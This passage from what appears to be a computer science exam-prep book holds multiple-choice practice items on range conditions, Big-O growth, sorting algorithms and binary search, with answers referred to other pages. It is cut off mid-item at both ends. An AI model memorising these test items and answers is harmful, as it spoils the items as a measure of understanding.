07 for (int i = 0; i < shelf.size[1]; i = i + 1)
08   if (shelf[i] == wanted)
09     /*execute selected code here*/
10     where = i
11
12 output(found)
13 output(where)
```

Which statement, executed on line 09, completes the program as the librarian intends?

A. `found == TRUE`

B. `found = TRUE`

C. `bool found == TRUE`

D. `TRUE = found`

Answer: page 1006

Compound conditions for ranges

0002.j.7.1

A survey application accepts ratings from 1 through 9 and rejects anything else. A program reads a batch of responses, counts those it accepts, and reports the count so the survey team can decide whether to follow up. For the responses shown, a team member expects `3`, but the program below reports `6`, and the team cannot identify which response caused the discrepancy.

```
01 /* Counts survey ratings that fall within the accepted scale */
02 int[] responses = [4, 12, 9, 0, 1, -3]
03 int low = 1
04 int high = 9
05 int accepted = 0
06
07 for (int i = 0; i < responses.size[1]; i = i + 1)
08   int r = responses[i]
09   if ((r >= low) OR (r <= high))
10     accepted = accepted + 1
11
12 output(accepted)
```

Which statement best explains the reported count?

A. The loop runs one more time than the number of responses, so the final pass counts the last response again and the total is higher than the batch requires.

B. The comparisons include their limits, so responses of `1` and `9` are each counted twice and the additional counts raise the total above the expected value.

C. Negative responses cannot be compared with `low` and `high`, so these responses are treated as matches by default and are added to the count of accepted responses.

D. Each response satisfies at least one of the two comparisons, whichever value it has, so the count includes every response in the batch, whether or not it is valid.

Answer: page 1006

0002.j.7.2

A summer program admits campers who are at least 13 years old and younger than 18. A coordinator stores applicants' ages in an array and wants a count of eligible applicants, with each eligible age displayed for checking. For the ages shown, the coordinator expects to see `13`, `17`, `15`, and then `3`. Line 06 has not yet been written.

```
01 /* Displays and counts ages that qualify for a summer program */
02 int[] ages = [12, 13, 17, 18, 15]
03 int count = 0
04 for (int i = 0; i < ages.size[1]; i = i + 1)
05   int age = ages[i]
06   /*execute selected code here*/
07     output(age)
08     count = count + 1
09 output(count)
```

Which statement, executed on line 06, completes the program as the coordinator intends?

A. `if (13 <= age < 18)`

B. `if ((age > 13) AND (age <= 18))`

C. `if ((age >= 13) OR (age < 18))`

D. `if ((age >= 13) AND (age < 18))`

Answer: page 1006

0002.j.7.3

A greenhouse controller reads soil moisture levels and raises an alert for any reading outside the safe band of 30 through 60, including when a sensor reports an impossible value. A technician wants the program to display each reading that requires an alert, followed by the number of such readings. For the readings shown, the technician expects `25`, `71`, `0`, and `3`. The current version displays only `0`.

```
01 /* Reports soil moisture readings that fall outside the safe band */
02 int[] readings = [45, 25, 60, 71, 30, 0]
03 int safe_low = 30
04 int safe_high = 60
05 int alerts = 0
06 int checked = 0
07
08 for (int i = 0; i < readings.size[1]; i = i + 1)
09   int m = readings[i]
10   checked = checked + 1
11   if ((m < safe_low) AND (m > safe_high))
12     output(m)
13     alerts = alerts + 1
14
15 output(alerts)
```

Which replacement for line 11 produces the output that the technician expects?

A. `if ((m < safe_low) OR (m > safe_high))`

B. `if ((m > safe_low) AND (m < safe_high))`

C. `if ((m <= safe_low) OR (m >= safe_high))`

D. `if (NOT(m < safe_low) AND NOT(m > safe_high))`

Answer: page 1006

0002.j.7.4

A nurse's office screens temperature readings, in tenths of a degree, and flags those in a normal band. A student volunteer familiar with mathematical notation writes the program below to support the office and tests it on a single reading. Although the reading of `982` lies within the intended band, the program stops with `ERROR` at the conditional statement and displays nothing.

```
01 int reading = 982
02 String label = "check again"
```

```
03 if (970 <= reading <= 990)
04   label = "normal"
05 output(label)
```

Which statement best explains the failure?

A. The operator <= applies only to values of type `float`, so the reading and both of its limits must first be converted before the band can be tested.

B. The reference sheet evaluates a comparison on a matched pair and has no chained form, so the two limits must be tested separately and joined.

C. The values `970` and `990` should be stored in variables first, since a relational operator accepts only variable names and not the literal values shown in the condition.

D. The `String` variable `label` was given a value before the test, so its later assignment inside the `if` block conflicts with the first value and stops execution.

Answer: page 1006

0002.j.7.5

A teacher converts numeric scores to letter grades using the following bands: 90 or above earns an A, 80 through 89 earns a B, and any lower score earns a C. Scores are whole numbers from 0 through 100. The teacher tests five scores and finds that the program below reports the expected grade for four of them, but a student with a top-band score receives the lowest grade.

```
01 /* Converts sample scores to letter grades and counts the top grades */
02 function grade(int s)
03   if ((s > 90) AND (s <= 100))
04     return "A"
05   elseif ((s >= 80) AND (s < 90))
06     return "B"
07   else
08     return "C"
09
10 int[] scores = [95, 90, 85, 80, 62]
11 int top = 0
12
13 for (int i = 0; i < scores.size[1]; i = i + 1)
14   String g = grade(scores[i])
15   output(g)
16   if (g == "A")
17     top = top + 1
18
19 output(top)
```

Which statement best describes the output and identifies the source of the problem?

A. A score of `90` receives `"C"`, since the first range excludes this score, the second range also excludes it, and only the final branch remains.

B. A score of `62` receives `"B"`, since a score that fails the first range moves to the next range, and the second range accepts any score that is not an A.

C. A score of `95` receives `"C"`, since each of the two conditions in the first range must be checked separately, and only the second of those conditions is true.

D. A score of `80` receives `"C"`, since the second range begins immediately after this score and therefore does not contain the lowest value in the band.

Answer: page 1006

0002.k Analyzing algorithms

Read about this in the content summary: 0002.k, page 80.

Big-O notation

0002.k.1.1

A sports league's scheduling program uses the function below to report how many rounds a single-elimination tournament needs. In each round, teams play in pairs, winners advance, and a team without an opponent advances automatically. The league expects to grow from 64 teams this year to several thousand within a decade, and its director asks how the function's running time will grow.

```
01 /* returns the number of rounds needed for a tournament */
02 function rounds(int teams)
03   int left = teams
04   int count = 0
05   while (left > 1)
06     left = (left + left % 2) / 2
07     count = count + 1
08   return count
09
10 output(rounds(64))
11 output(rounds(100))
```

Which statement best describes the growth of the function's running time as the number of teams, n, increases?

A. It is O(n log n), since each of about log n rounds must process the teams that remain in the tournament.

B. It is O(1), since the loop body holds two short statements, which take the same time at each size of tournament.

C. It is O(n), since each team must play at least once, so the loop runs once for each team.

D. It is O(log n), since each pass through the loop leaves about half as many teams as the pass before it.

Answer: page 1006

0002.k.1.2

A state testing office reports how many pairs of students earned identical scores on an exam scored from 0 to 100. A programmer has written the two functions below, which return the same result for any list of scores. The office currently processes 1,000 scores at a time, but it plans to process 100,000 scores at a time next year.

```
01 function ties_a(int[] s)
02   int pairs = 0
03   for (int i = 0; i < s.size[1]; i = i + 1)
04     for (int j = i + 1; j < s.size[1]; j = j + 1)
05       if (s[i] == s[j])
06         pairs = pairs + 1
07   return pairs
08
09 function ties_b(int[] s)
10   int[] tally = []
11   for (int v = 0; v <= 100; v = v + 1)
12     tally.append(0)
13   for (int i = 0; i < s.size[1]; i = i + 1)
14     tally[s[i]] = tally[s[i]] + 1
15   int pairs = 0
16   for (int v = 0; v <= 100; v = v + 1)
17     pairs = pairs + tally[v] * (tally[v] - 1) / 2
18   return pairs
19
20 int[] scores = [88, 92, 88, 75, 92, 88]
21 output(ties_a(scores))
22 output(ties_b(scores))
```

Compared with their running times on 1,000 scores, how are the running times of the two functions on 100,000 scores most likely to change?

A. `ties_a` will take about 100 times as long, and `ties_b` about the same time, since an array lookup takes constant time.

B. `ties_a` and `ties_b` will each take about 10,000 times as long, since each contains two loops that depend on the data.

C. `ties_a` will take about 10,000 times as long, since it compares every pair, and `ties_b` about 100 times as long.

D. `ties_a` and `ties_b` will each take about 100 times as long, since each examines every score at least once.

Answer: page 1006

0002.k.1.3

A developer measures the lookup function of a school directory application, which finds one student's record, as the directory grows. The function is run many times at each size, and the average time for one lookup is printed as shown.

```
>>> 1000 records: 10 microseconds
>>> 2000 records: 11 microseconds
>>> 4000 records: 12 microseconds
>>> 8000 records: 13 microseconds
>>> 16000 records: 14 microseconds
```

Which growth class do these measurements most closely suggest for the lookup function?

A. O(log n), since each doubling of the directory adds about the same fixed amount of time to a lookup

B. O(n), since the time rises each time the directory grows, which shows that the function examines more records

C. O(n log n), since the time grows by a steady amount, and steady growth indicates a logarithmic factor multiplied by n

D. O(1), since the times barely change, and the small increases most likely come from measurement noise

Answer: page 1006

0002.k.1.4

A school district compares two scheduling libraries. Library P takes about $2n^2$ steps to schedule n courses, and library Q takes about 400n steps. Each school in the district schedules at most 150 courses today, but next year the district plans to schedule all 10,000 of its courses together in a single run. Which statement best compares the two libraries for these uses?

A. Q takes fewer steps for both uses, since Big-O ignores constants, so the lower growth class wins at each size.

B. P and Q take about the same number of steps for both uses, since Big-O treats polynomials in n alike.

C. P takes fewer steps for both uses, since its constant factor of 2, far below 400, outweighs the difference in growth.

D. P takes fewer steps for the current schedules, but Q takes about one-fiftieth as many for the district schedule.

Answer: page 1006

0002.k.1.5

A student models the work of an algorithm on an input of n values with the snippet below, in which n is `16` and each execution of line 04 counts as one step. The snippet displays `64`. The student then replaces both appearances of `16` with `1024`, a value 64 times as large.

```
01 int steps = 0
02 for (int i = 1; i < 16; i = i * 2)
03   for (int j = 0; j < 16; j = j + 1)
04     steps = steps + 1
05 output(steps)
```

Which value will the snippet display after the change?

A. `10`

B. `4096`

C. `10240`

D. `1048576`

Answer: page 1006

Selection sort

0002.k.2.1

A computer science student claims that selection sort finishes faster when its input is already in order. To test the claim, the student adds counters to a selection sort and runs it on six race times that are already sorted from fastest to slowest. A swap is counted only when the smallest remaining value is not already in place.

```
01 int[] t = [41, 43, 47, 52, 55, 60]
02 int comps = 0
03 int swaps = 0
04 for (int i = 0; i < t.size[1] - 1; i = i + 1)
05   int m = i
06   for (int j = i + 1; j < t.size[1]; j = j + 1)
07     comps = comps + 1
08     if (t[j] < t[m])
09       m = j
10   if (m != i)
11     int temp = t[i]
12     t[i] = t[m]
13     t[m] = temp
14     swaps = swaps + 1
15 output(comps)
16 output(swaps)
```

Which output will the program produce?

A.

```
>>> 5
>>> 0
```

B.

```
>>> 15
>>> 0
```

C.

```
>>> 15
>>> 5
```

D.

```
>>> 30
>>> 0
```

Answer: page 1007

0002.k.2.2

A teacher's gradebook program should sort a class's quiz scores into ascending order with selection sort. When run, the function below displays `[38,27,44,31,50]` rather than `[27,31,38,44,50]`.

```
01 function sort_scores(int[] a)
02   for (int i = 0; i < a.size[1] - 1; i = i + 1)
03     int m = i
04     for (int j = i + 1; j < a.size[1]; j = j + 1)
05       if (a[j] < a[i])
06         m = j
07     int t = a[i]
08     a[i] = a[m]
09     a[m] = t
10   return a
11
12 int[] quiz = [44, 31, 50, 27, 38]
13 output(sort_scores(quiz))
```

Which replacement for line 05 corrects the function?

A. `if (a[j] < a[j - 1])`

B. `if (a[j] > a[m])`

C. `if (a[j] <= a[i])`

D. `if (a[j] < a[m])`

Answer: page 1007

0002.k.2.3

A student's visualization prints an array of six reading-level scores before sorting, and then after each pass of selection sort, as shown.

```
>>> [31,18,25,12,40,27]
>>> [12,18,25,31,40,27]
>>> [12,18,25,31,40,27]
>>> [12,18,25,31,40,27]
>>> [12,18,25,27,40,31]
>>> [12,18,25,27,31,40]
```

Noticing that the second and third passes left the array unchanged, the student proposes a change that works for bubble sort: stop as soon as a pass leaves the array unchanged. Which statement best evaluates the proposal for this algorithm?

A. It would be safe and save about half the comparisons, since an unchanged pass shows the rest is in order.

B. It would have no effect, since selection sort moves a value on every pass, so no pass leaves the array unchanged.

C. It would stop after the second pass with `27`, `31`, and `40` out of order, since that pass placed only one value.

D. It would be safe but save nothing, since selection sort already stops once the remaining values are in order.

Answer: page 1007

0002.k.2.4

A weather station stores its readings in flash memory, which wears out after a limited number of writes. An engineer considers the selection sort below for the station's log of 1,000 readings, which arrive in no particular order, and adds a counter of writes to the array. A short test on five readings displays `8`.

```
01 function sort_log(int[] r)
02   int writes = 0
03   for (int i = 0; i < r.size[1] - 1; i = i + 1)
04     int m = i
05     for (int j = i + 1; j < r.size[1]; j = j + 1)
06       if (r[j] < r[m])
07         m = j
08     int t = r[i]
09     r[i] = r[m]
10     r[m] = t
11     writes = writes + 2
12   return writes
13
14 int[] sample = [18, 11, 25, 14, 20]
15 output(sort_log(sample))
```

How many writes will the function make when it sorts the full log of 1,000 readings?

A. about 1,000,000, since in the worst case each reading may be moved once for every other reading in the log

B. exactly 1,998, since each of the 999 passes makes one swap of two writes, whatever the readings' order

C. from 0 for readings already in order to 1,998 otherwise, since values in place are not rewritten

D. about 499,500, since the number of writes grows with the number of comparisons, which is n(n-1)/2

Answer: page 1007

0002.k.2.5

A teacher demonstrates selection sort with eight students, each holding a numbered card. In each round, a volunteer walks along the unsorted part of the line, comparing two cards at a time and remembering the smaller, and then swaps the smallest card into the next position. One class sees the cards begin in random order, and another class sees them begin in order. How many comparisons will the volunteer make in each demonstration?

A. exactly 28 in each demonstration, since the rounds compare 7, 6, 5, 4, 3, 2, and 1 pairs of cards

B. exactly 64 in each demonstration, since each of the eight cards is compared with the whole line of eight

C. exactly 56 in each demonstration, since each pair of cards is compared twice, once from each side

D. 28 for the random cards but 7 for the ordered cards, since the volunteer finds no smaller card to remember

Answer: page 1007

Bubble sort

0002.k.3.1

A teacher wants students to see how much data movement different sorting algorithms cause. As a first example, the teacher runs the bubble sort below, which counts its swaps, on five quiz scores that are in descending order.

```
01 int[] q = [50, 40, 30, 20, 10]
02 int swaps = 0
03 for (int p = 0; p < q.size[1] − 1; p = p + 1)
04   for (int i = 0; i < q.size[1] − 1 − p; i = i + 1)
05     if (q[i] > q[i + 1])
```

```
06       int t = q[i]
07       q[i] = q[i + 1]
08       q[i + 1] = t
09       swaps = swaps + 1
10 output(swaps)
```

Which output will the program produce?

A. `>>> 2`

B. `>>> 4`

C. `>>> 10`

D. `>>> 25`

Answer: page 1007

0002.k.3.2

A student writes the function below to sort students' heights for a class photograph, from shortest to tallest, with bubble sort. Instead of displaying the sorted heights, the program stops with an error during its first pass through the array.

```
01 function bubble(int[] a)
02   int n = a.size[1]
03   for (int p = 0; p < n - 1; p = p + 1)
04     for (int i = 0; i < n - p; i = i + 1)
05       if (a[i] > a[i + 1])
06         int t = a[i]
07         a[i] = a[i + 1]
08         a[i + 1] = t
09   return a
10
11 int[] heights = [152, 147, 160, 139, 155]
12 output(bubble(heights))
```

Which replacement for line 04 corrects the function?

A. `for (int i = 0; i < n - 1 - p; i = i + 2)`

B. `for (int i = 0; i < n - 1 - p; i = i + 1)`

C. `for (int i = 1; i < n - p; i = i + 1)`

D. `for (int i = p; i < n - 1; i = i + 1)`

Answer: page 1007

0002.k.3.3

A school's online leaderboard holds 1,000 scores in ascending order. It is sorted again with a bubble sort that compares neighbors from front to back and stops after any pass that makes no swaps.

Testers try two damaged lists. In list A, the highest score has been moved to the front, and all others are in order. In list B, the lowest score has been moved to the end, and all others are in order. Which statement best compares the passes that the sort makes?

A. Both lists need about 1,000 passes, since bubble sort makes one pass for each score, with or without swaps.

B. List A needs about 1,000 passes and list B about 2, since each pass carries the lowest score to the front.

C. List A needs about 2 passes and list B about 1,000, since a low score moves one position toward the front per pass.

D. Both lists need about 2 passes, since each has one score out of place, which one pass can repair.

Answer: page 1007

0002.k.3.4

A teacher's sorting visualizer prints an array before sorting and again after each pass of bubble sort, which compares neighboring values from left to right and swaps any pair that is out of order. The first two lines of output are shown.

```
>>> [7,3,9,1,6,4]
>>> [3,7,1,6,4,9]
```

Which line will the visualizer print next?

A. `>>> [3,1,6,4,7,9]`

B. `>>> [3,1,7,6,4,9]`

C. `>>> [1,3,7,4,6,9]`

D. `>>> [1,3,4,6,7,9]`

Answer: page 1007

0002.k.3.5

A student adds the early stop shown below to bubble sort and tests it on six values in order and six in reverse order. The program displays `5` and then `15`. The student concludes that the early stop makes bubble sort an O(n) algorithm, and plans to use it for a list of 50,000 survey responses in random order.

```
01 function bubble_count(int[] a)
02   int comps = 0
03   bool swapped = TRUE
04   int end = a.size[1] - 1
05   while (swapped)
```

```
06     swapped = FALSE
07     for (int i = 0; i < end; i = i + 1)
08       comps = comps + 1
09       if (a[i] > a[i + 1])
10         int t = a[i]
11         a[i] = a[i + 1]
12         a[i + 1] = t
13         swapped = TRUE
14     end = end - 1
15   return comps
16
17 int[] inorder = [1, 2, 3, 4, 5, 6]
18 int[] reverse = [6, 5, 4, 3, 2, 1]
19 output(bubble_count(inorder))
20 output(bubble_count(reverse))
```

Which statement best evaluates the student's conclusion?

A. It is mistaken, since only nearly ordered input finishes quickly, and random input needs a number of passes that grows with n.

B. It is correct only for input in reverse order, since its largest values then reach the end in the fewest passes.

C. It is mistaken, since the early stop adds a check to each pass, making bubble sort worse than $O(n^2)$.

D. It is correct, since the early stop skips the passes after the list is sorted, which random lists reach within two passes.

Answer: page 1007

Insertion sort

0002.k.4.1

A theater's ticketing program keeps the numbers of sold tickets in ascending order so that ushers can check them quickly. The function below is meant to sort the numbers with insertion sort, but it displays `[742,509,305,260,118]`.

```
01 function insert_sort(int[] a)
02   for (int i = 1; i < a.size[1]; i = i + 1)
03     int v = a[i]
04     int j = i - 1
05     while (j >= 0 AND a[j] < v)
06       a[j + 1] = a[j]
07       j = j - 1
08     a[j + 1] = v
09   return a
```

```
10
11 int[] tickets = [305, 118, 742, 260, 509]
12 output(insert_sort(tickets))
```

Which replacement for line 05 corrects the function?

A. `while (j >= 0 AND a[j] > v)`

B. `while (j > 0 AND a[j] > v)`

C. `while (j >= 0 AND a[j] > a[j + 1])`

D. `if (j >= 0 AND a[j] > v)`

Answer: page 1007

0002.k.4.2

A school's registration system keeps 2,000 student records sorted by ID on a small server that has little free memory. Each evening about ten new records are added at the end of the list, and the entire list must be sorted again before the next morning. Which choice of algorithm is best for the nightly sort, and why?

A. merge sort, since O(n log n) beats $O(n^2)$ at this size, and an extra copy of the records costs little

B. selection sort, since it makes one swap per pass, so it does the least work on a nearly sorted list

C. quicksort with the first record as the pivot, since it sorts in place and averages O(n log n) on typical lists

D. insertion sort, since records already in place are checked about once, and the few new ones are shifted into place

Answer: page 1008

0002.k.4.3

A student's program prints an array of six values before sorting, and then again after each step of insertion sort, in which one more value joins the sorted section at the left of the array. The first three lines of output are shown.

```
>>> [8,3,5,1,9,2]
>>> [3,8,5,1,9,2]
>>> [3,5,8,1,9,2]
```

Which line will the program print next?

A. `>>> [1,5,8,3,9,2]`

B. `>>> [3,5,1,8,9,2]`

C. `>>> [1,3,5,8,9,2]`

D. `>>> [1,2,3,5,8,9]`

Answer: page 1008

0002.k.4.4

A science classroom's sensor sends one temperature reading each second, and the class's program must keep all of the day's readings sorted after every arrival so that the median can be displayed at any moment. By evening the array holds about 30,000 readings, which arrive in no particular order. A student compares the two functions below for adding each reading.

```
01 /* keeps a sorted array sorted after one new value is added */
02 function add_sorted(int[] a, int v)
03   a.append(v)
04   int j = a.size[1] - 2
05   while (j >= 0 AND a[j] > v)
06     a[j + 1] = a[j]
07     j = j - 1
08   a[j + 1] = v
09   return a
10
11 /* adds the value and then sorts the whole array again */
12 function add_resort(int[] a, int v)
13   a.append(v)
14   for (int i = 0; i < a.size[1] - 1; i = i + 1)
15     int m = i
16     for (int k = i + 1; k < a.size[1]; k = k + 1)
17       if (a[k] < a[m])
18         m = k
19     int t = a[i]
20     a[i] = a[m]
21     a[m] = t
22   return a
23
24 int[] temps = [12, 15, 19, 23]
25 output(add_sorted(temps, 17))
```

Which statement best compares the two functions for this use?

A. `add_sorted` is faster only for steadily rising readings, and for readings in random order both make about $n^2/2$ comparisons per arrival.

B. `add_sorted` shifts only the readings larger than the new one, at most n per arrival, while `add_resort` makes about $n^2/2$ comparisons.

C. `add_resort` is faster, since selection sort makes at most one swap per pass, while `add_sorted` may shift many readings per arrival.

D. Both functions take about n steps per arrival, since each passes through the array once.

Answer: page 1008

0002.k.4.5

A student wants to show that insertion sort does close to n steps of work on nearly sorted data and far more on data in reverse order. The function below counts one check for each value considered and one more for each shift of a larger value to the right.

```
01 function checks(int[] a)
02   int c = 0
03   for (int i = 1; i < a.size[1]; i = i + 1)
04     int v = a[i]
05     int j = i - 1
06     c = c + 1
07     while (j >= 0 AND a[j] > v)
08       a[j + 1] = a[j]
09       j = j - 1
10       c = c + 1
11     a[j + 1] = v
12   return c
13
14 int[] nearly = [1, 2, 3, 5, 4, 6, 7, 8]
15 int[] reversed = [8, 7, 6, 5, 4, 3, 2, 1]
16 output(checks(nearly))
17 output(checks(reversed))
```

Which output will the program produce?

A.

```
>>> 8
>>> 8
```

B.

```
>>> 8
>>> 35
```

C.

```
>>> 28
>>> 28
```

D.

```
>>> 1
>>> 28
```

Answer: page 1008

Merge sort

0002.k.5.1

A district's reporting tool sorts school enrollment figures with merge sort. A developer tests the final step on its own: combining two halves that are already sorted. The function below should display `[3,9,10,27,38,43,82]`, but it displays `[9,10,82,3,27,38,43]`.

```
01 function merge(int[] a, int[] b)
02   int[] out = []
03   int i = 0
04   int j = 0
05   while (i < a.size[1] AND j < b.size[1])
06     if (a[i] >= b[j])
07       out.append(a[i])
08       i = i + 1
09     else
10       out.append(b[j])
11       j = j + 1
12   while (i < a.size[1])
13     out.append(a[i])
14     i = i + 1
15   while (j < b.size[1])
16     out.append(b[j])
17     j = j + 1
18   return out
19
20 int[] left = [3, 27, 38, 43]
21 int[] right = [9, 10, 82]
22 output(merge(left, right))
```

Which replacement for line 06 corrects the function?

A. `if (a[i] <= b[j])`

B. `if (i <= j)`

C. `if (a[0] <= b[0])`

D. `if (a[i] <= b[i])`

Answer: page 1008

0002.k.5.2

A state education department must sort 4 terabytes of assessment records each night on a server with 64 gigabytes of memory. The records can be read from disk in pieces and written back as sorted runs. The job must finish before a fixed deadline every night, so the department needs a running time that is predictable even in the worst case. Which algorithm best fits these requirements, and why?

A. insertion sort, since it works in place and handles records one at a time, so memory size does not matter

B. selection sort, since it makes the fewest writes of the common sorts, which matters when records go back to disk

C. merge sort, since it sorts runs that fit in memory, then merges them in O(n log n) time in the worst case

D. quicksort, since it is often fastest in practice, and its $O(n^2)$ worst case arises mainly on random data

Answer: page 1008

0002.k.5.3

A student plans to run the merge sort below on a handheld data logger. The logger holds 40,000 readings and has free memory for only about 5,000 more values. The program works on the student's laptop, where a small test displays `[3,9,10,27,38,43,82]`.

```
01 function merge(int[] a, int[] b)
02   int[] out = []
03   int i = 0
04   int j = 0
05   while (i < a.size[1] AND j < b.size[1])
06     if (a[i] <= b[j])
07       out.append(a[i])
08       i = i + 1
09     else
10       out.append(b[j])
11       j = j + 1
12   for (int k = i; k < a.size[1]; k = k + 1)
13     out.append(a[k])
14   for (int k = j; k < b.size[1]; k = k + 1)
15     out.append(b[k])
16   return out
17
18 function merge_sort(int[] v)
19   if (v.size[1] <= 1)
20     return v
21   int mid = (v.size[1] - v.size[1] % 2) / 2
22   int[] left = merge_sort(v.slice(0, 0, 0, mid - 1))
23   int[] right = merge_sort(v.slice(0, 0, mid, v.size[1] - 1))
24   return merge(left, right)
25 int[] data = [38, 27, 43, 3, 9, 82, 10]
26 output(merge_sort(data))
```

Which statement best explains why the program is likely to fail on the logger?

A. Merge sort splits arrays evenly when their size is a power of two, so the readings need padding to 65,536 values.

B. The program makes about $40{,}000^2$ comparisons, and each comparison stores its result in memory until the sort has finished.

C. Each merge builds a new array holding the values it combines, so the final merge needs room for another 40,000 values.

D. The recursion goes about 40,000 calls deep, since `merge_sort` calls itself once for each reading before merging can begin.

Answer: page 1008

0002.k.5.4

A teacher demonstrates merge sort with 64 index cards on the classroom floor. Students split each pile into two equal piles, again and again, until every pile holds a single card. They then merge pairs of piles into sorted piles, level by level, until one sorted pile remains, and in each merge every card in the two piles is handled once. Which description of the demonstration is correct?

A. There are 63 levels of splitting, one for each pile divided, and 64 cards are handled at each merging level.

B. There are 6 levels of splitting, but 32 cards are handled in the first merge level and fewer after that.

C. There are 6 levels of splitting, and all 64 cards are handled at each level of merging.

D. There are 32 levels of splitting, since each split separates a pair, and 2 cards are handled at each merging level.

Answer: page 1008

0002.k.5.5

A library's software prints a list of eight call numbers before sorting, and then again after each round of its sorting algorithm, as shown. A technician must decide whether to keep this algorithm on a new server that has plenty of memory but must sort millions of records within a guaranteed time.

```
>>> [5,2,7,1,6,3,8,4]
>>> [2,5,1,7,3,6,4,8]
>>> [1,2,5,7,3,4,6,8]
>>> [1,2,3,4,5,6,7,8]
```

Which statement best identifies the algorithm and its fit for the new server?

A. It is insertion sort, which suits the server, since it grows a sorted section in place without extra memory.

B. It is bubble sort, which suits the server poorly, since it is $O(n^2)$ and carries one value to the end per pass.

C. It is merge sort, which suits the server, since it guarantees O(n log n) time at the cost of extra memory.

D. It is quicksort, which suits the server poorly, since each of its partitions needs a copy in extra memory.

Answer: page 1008

Quicksort

0002.k.6.1

The standard library of a programming language sorts arrays of numbers with a quicksort variant by default. Its documentation acknowledges that quicksort has an $O(n^2)$ worst case, whereas merge sort is O(n log n) in every case, but states that quicksort was chosen because it usually finishes first on the arrays that programs actually sort. Which statement best justifies this design decision?

A. Quicksort averages O(log n), since each partition discards half of the values, as each comparison in binary search does.

B. Quicksort copies each partition into extra memory, and since memory is now cheap, the copies make its comparisons faster than merging.

C. Quicksort also averages O(n log n), and working in place gives it low constant factors and good use of the cache.

D. Quicksort runs in O(n) time on most real arrays, since such arrays are usually partly sorted, which is quicksort's best case.

Answer: page 1008

0002.k.6.2

A student writes the partition step of quicksort below, which uses the last value in a range as its pivot, and tests it on six values. The function moves values within the array and returns the pivot's final position.

```
01 function partition(int[] a, int lo, int hi)
02   int pivot = a[hi]
03   int s = lo
04   for (int i = lo; i < hi; i = i + 1)
05     if (a[i] < pivot)
06       int t = a[i]
07       a[i] = a[s]
08       a[s] = t
09       s = s + 1
```

```
10   int t2 = a[s]
11   a[s] = a[hi]
12   a[hi] = t2
13   return s
14
15 int[] v = [7, 2, 9, 4, 1, 5]
16 int p = partition(v, 0, 5)
17 output(p)
18 output(v)
```

Which output will the program produce?

A.

```
>>> 3
>>> [2,4,1,5,9,7]
```

B.

```
>>> 3
>>> [2,4,1,5,7,9]
```

C.

```
>>> 3
>>> [1,2,4,5,7,9]
```

D.

```
>>> 5
>>> [2,4,1,7,9,5]
```

Answer: page 1008

0002.k.6.3

A student adds a comparison count to the quicksort below, which uses the first value in each range as its pivot. Run on eight values already in order and on the same values shuffled, the program displays 28 and then 13.

```
01 function partition(int[] a, int lo, int hi)
02   int pivot = a[lo]
03   int s = lo
04   for (int i = lo + 1; i <= hi; i = i + 1)
05     if (a[i] < pivot)
06       s = s + 1
07       int t = a[i]
08       a[i] = a[s]
09       a[s] = t
10   a[lo] = a[s]
11   a[s] = pivot
12   return s
```

```
13
14 /* returns the number of comparisons with a pivot */
15 function quicksort(int[] a, int lo, int hi)
16   if (lo >= hi)
17     return 0
18   int p = partition(a, lo, hi)
19   return hi - lo + quicksort(a, lo, p - 1) + quicksort(a, p + 1, hi)
20
21 int[] ordered = [1, 2, 3, 4, 5, 6, 7, 8]
22 int[] mixed = [5, 2, 7, 4, 8, 1, 6, 3]
23 output(quicksort(ordered, 0, 7))
24 output(quicksort(mixed, 0, 7))
```

Which statement best explains why the ordered values need more comparisons?

A. Ordered values include none smaller than the pivot, so the partition loop must examine every value in the range twice.

B. Each ordered range splits at its smallest value, leaving one part empty and the other one shorter, so work grows as n^2.

C. Ordered values cause more swaps than shuffled values, and each swap is counted as one more comparison with the pivot.

D. Quicksort recognizes ordered values and switches to a merging strategy that needs extra memory and more comparisons.

Answer: page 1008

0002.k.6.4

A school's attendance system sorts each day's records by time of entry with a quicksort that always uses the last value in a range as its pivot. Because records are logged as students arrive, the list is almost always in order already, and the sort has become very slow as enrollment has grown. Which change would most directly address the slowdown?

A. choosing the median of the first, middle, and last values as the pivot, so ordered ranges split near the middle

B. partitioning each range twice before sorting its parts, so that values land on the correct side of the pivot

C. using the first value of each range as the pivot instead of the last, so the pivot comes from the other end

D. sorting the records with the same quicksort ahead of the daily sort, so that they arrive in a known order

Answer: page 1009

0002.k.6.5

A sensor network's gateway must sort 2,000,000 readings that arrive in random order, and it must usually finish quickly. The readings fill most of the gateway's memory, leaving free space for only a small fraction of them. Which algorithm best fits these conditions, and why?

A. insertion sort, since it sorts within the array and is close to O(n) whenever the values arrive in random order

B. quicksort, since it sorts in place, and on random data its partitions tend to be balanced, giving O(n log n)

C. merge sort, since it is O(n log n) in every case, which makes it faster than quicksort on random data

D. selection sort, since it makes at most n - 1 swaps, which makes it the fastest sort within the array

Answer: page 1009

Linear and binary search

0002.k.7.1

A school library's inventory program looks up a book's barcode in a sorted array of barcodes and returns its position, or `-1` if the book is not on the shelf list. When run, the program displays `3` for the first lookup but never finishes the second lookup, for a barcode that is missing.

```
01 function find(int[] a, int target)
02   int low = 0
03   int high = a.size[1] - 1
04   while (low <= high)
05     int mid = (low + high - (low + high) % 2) / 2
06     if (a[mid] == target)
07       return mid
08     elseif (a[mid] < target)
09       low = mid + 1
10     else
11       high = mid
12   return -1
13
14 int[] barcodes = [1042, 2210, 3577, 4120, 5893, 6301]
15 output(find(barcodes, 4120))
16 output(find(barcodes, 1000))
```

Which replacement for line 11 corrects the function?

A. `high = mid - 2`

B. `high = mid + 1`

C. `low = mid - 1`

D. `high = mid - 1`

Answer: page 1009

0002.k.7.2

A university's directory program finds a student's position in a sorted array of 1,000,000 ID numbers using the approach shown below, here applied to a short sample. In the worst case, this approach makes about 1,000,000 comparisons for one lookup. The developer replaces it with binary search on the same sorted array. In the worst case, about how many comparisons will one lookup then make?

```
01 int[] ids = [1203, 1388, 1452, 1610, 1777, 1902]
02 int i = 0
03 while (ids[i] != 1777)
04   i = i + 1
05 output(i)
```

A. `1,000`

B. `2`

C. `20`

D. `500,000`

Answer: page 1009

0002.k.7.3

A student's quiz application checks whether a submitted answer code appears in a list of accepted codes. The student writes the binary search below and tests it with the codes in the order in which a teacher typed them. The program displays `FALSE`, although `47` is in the list.

```
01 function contains(int[] a, int x)
02   int low = 0
03   int high = a.size[1] - 1
04   while (low <= high)
05     int mid = (low + high - (low + high) % 2) / 2
06     if (a[mid] == x)
07       return TRUE
08     elseif (a[mid] < x)
09       low = mid + 1
10     else
11       high = mid - 1
12   return FALSE
13
14 int[] codes = [12, 47, 5, 33, 90, 61, 28]
15 output(contains(codes, 47))
```

Which statement best explains the result?

